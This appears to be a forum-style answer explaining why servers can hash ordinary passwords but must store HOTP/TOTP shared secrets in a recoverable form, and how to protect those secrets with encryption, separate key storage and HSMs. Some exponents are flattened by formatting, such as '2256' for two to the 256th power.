Encrypting the shared secrets with a key only the server knows helps, but only if the (encryption) key isn't hidden below the metaphorical doormat. If the key is stored on the same server (or same drive) as the shared-secrets database then you aren't likely to gain much.

In a normal password hashing authentication system the server can store the hash of a password instead of the password itself because

For any hash function, identical inputs result in identical outputs. (If P1 == P2, then H(P1) == H(P2). This is true because H is deterministic.)
For a cryptographic hash, hashes of two non-identical inputs will not match with near certainty.

Blindly guessing passwords fails because any one of the many possible outputs is equally probable. (A 256-bit hash has 2256 possible outputs. The probability that a blind guess produces a different output is 1 - 2-256.
By definition cryptographic secure hashes are preimage resistant. There is no feasible way to compute, for any chosen y, an input x such H(x) == y. (256-bit preimage resistance implies that there is no method more efficient than brute forcing around 2256 inputs.)

That means that in practice whether P1 equals P2 is the same as whether H(P1) equals H(P2).

If there is no other reason that the server needs to store plaintext, then we should store the hash instead.  The advantage to storing (salted) hashes instead is that cryptographic hashes are one way. With a sufficiently strong password that leaves even the server unable to determine the user's original password once all copies of the plaintext password have been cleared.

This is why a hacker with read access to the system, a discarded hard drive, or a database dump cannot immediately determine a persons password. (But a person's password (not chosen by a secure RNG) can get cracked in the real world because humans make relatively predictable choices.)

TOTP and HOTP do not work this way. Instead one time passwords are derived from a shared secret. With that secret, both the client and the server can generate as many one time passwords as they want. However, someone who doesn't have access to that secret cannot generate new authentication codes.

The only method the server could use (without using something different from HOTP and TOTP) to give up their knowledge of the shared secret is to pre-generate, hash individual OTPs, and store the list of them somewhere. And that still doesn't prevent offline cracking because if the database is leaked then it is possible to bruteforce any of the OTPs from that list in less than 1010 hash function evaluations.

Fortunately there is no other value to a HOTP/TOTP shared secret except for defeating the authentication system itself. Generate a random shared secret for every new user, then the secret has no relation to any other information. Humans might reuse passwords across multiple services (which would make those services easier to hack if your security was compromised) and humans might do something like put their Social Security number in their password. For randomly generated secrets these would never be a concern.

So all you can do is use the same types of methods you might use to restrict access to things like credit card numbers, personal information, and other information you must have access to but must also prevent other people from accessing. (Examples are in the first and second paragraph. The only thing I can add is using HSMs for encryption, but everything else needs to be secure as well. Including server software, the computer itself, and the network it communicates over.)